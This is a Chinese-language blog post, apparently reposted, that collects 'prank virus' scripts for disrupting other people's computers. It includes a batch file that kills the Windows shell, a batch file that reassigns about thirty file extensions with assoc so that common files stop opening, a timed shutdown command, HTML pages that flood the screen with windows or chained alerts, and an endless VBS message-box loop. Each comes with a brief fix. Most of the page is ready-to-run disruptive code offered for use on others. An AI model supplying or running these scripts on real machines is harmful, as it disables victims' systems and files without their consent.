整蠱小病毒,自己拿來快樂


今天剛學了關於網絡安全的東西,稍微學了點小的東西,來做個筆記。

自己玩的話,最后在虛擬機上玩!!

現在我來列舉一下一些整蠱的小病毒(直接把代碼丟在記事本內,把后綴改為.bat):

 

  1. 讓桌面消失的病毒

@echo off

taskkill /im explorer.exe /f

(解決方法:重啟)

 

 

  1. 所有文件失效病毒

@echo off

assoc .txt=exefile

assoc .exe=txtfile

assoc .htm=exefile

assoc .html=exefile

assoc .com=txtfile

assoc .gho=txtfile

assoc .rar=txtfile

assoc .zip=txtfile

assoc .chm=txtfile

assoc .jpg=txtfile

assoc .doc=exefile

assoc .ppt=txtfile

assoc .vbs=txtfile

assoc .cmd=txtfile

assoc .bmp=txtfile

assoc .gif=txtfile

assoc .ico=txtfile

assoc .png=txtfile

assoc .jpeg=txtfile

assoc .jpe=txtfile

assoc .jfif=txtfile

assoc .fla=txtfile

assoc .swf=txtfile

assoc .avi=txtfile

assoc .mov=txtfile

assoc .asf=txtfile

assoc .wmv=txtfile

assoc .rm=txtfile

assoc .ra=txtfile

解決辦法(assoc .ra=rafile)都改成這個格式就好

 

  1. 定時關機

shutdown -s -t 600

  1. 無限彈窗:

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

 

<title>老子最帥</title>

</head>

 

<body>

 

<script language="JavaScript">

 

<!---hide---

 

function pop(){

 

            for(i=1;i<=200;i++){

 

                 window.open('#.htm','','width=800,height=600','status=off','location=off','toolbar=off','scrollbars=off')}}

 

//--->

 

</script>

<form name="form">

  <p align="center">

    <input type="button" value="把鼠標放在這里能看到更多美眉哦!~" onmouseover="pop()" name="button" class="unnamed1">

  </p>

 

</form>

<img src=1.jpg>

 

</body>

 

</html>

解決辦法(用任務管理器關掉進程就好)

  1. 整人網頁:

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>很惡心的常見整人效果的代碼</title>

</head>

<body>

<a href="" onMouseover="alert('為什么把鼠標放到這里?');

alert('我不是說過不可以這樣嗎?');

alert('宇哥現在真的很生氣');

alert('一點也不給宇哥面子');

alert('你把宇哥的話當什么了?');

alert('你知道錯了嗎?');

alert('什么?你居然....');

alert('居然還沒意識到自己做錯了?');

alert('那好,你要為此付出代價!');

alert('我要你在這里點足一千下......');

alert('然后再蹲在牆角唱“宇哥,就這樣被你征服......');

alert('什么?你開始有點后悔了?');

alert('何必呢?');

alert('你當初不是很牛嘛?');

alert('再爺們點啊');

alert('好從現在開始再點995下......');

alert('你的手開始累了嗎?');

alert('什么?你已經沒力氣了?');

alert('你一直在求我原諒你啊!');

alert('磕什么頭啊');

alert('別哭了,看來你是真的知道錯了!');

alert('也是宇哥今天心情好,別跪着了,起來吧');

alert('下次你還會這么做嗎?');

alert('真的不會了?');

alert('那好,今天就放你一馬!');

alert('寫封信給我說聲對不起吧!');

alert('你能這么做我很欣慰!!!');

document.bgColor='black';

document.fgColor='White';

window.location.href='mailto:qiaoyuxzt@126.com?subject=宇哥,真的對不起,下次絕對不敢了!';">不許把鼠標移到這里</a>

 

嘻試吧爽噢。。

 

</body>

</html>

       解決方法(任務管理器關掉進程就好)

  1. 彈窗整蠱(后綴改成.vbs)

do

msgbox "幫主最帥"

msgbox "小子,你對這件事有異議嗎"

msgbox "你要為此付出代價"

msgbox "從現在開始我要求你點100下鼠標"

msgbox "100"

msgbox "99"

msgbox "98"

msgbox "97"

msgbox "96"

msgbox "95"

msgbox "94"

msgbox "93"

msgbox "92"

msgbox "91"

msgbox "90"

msgbox "……"

msgbox "3"

msgbox "2"

msgbox "1"

msgbox "如果看到這里,說明你確實很執着,你感動了我,請再點一下"

msgbox "年輕人,有時候執着也沒用,換個姿勢再來一次"

 

loop

解決方法(任務管理器關進程)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM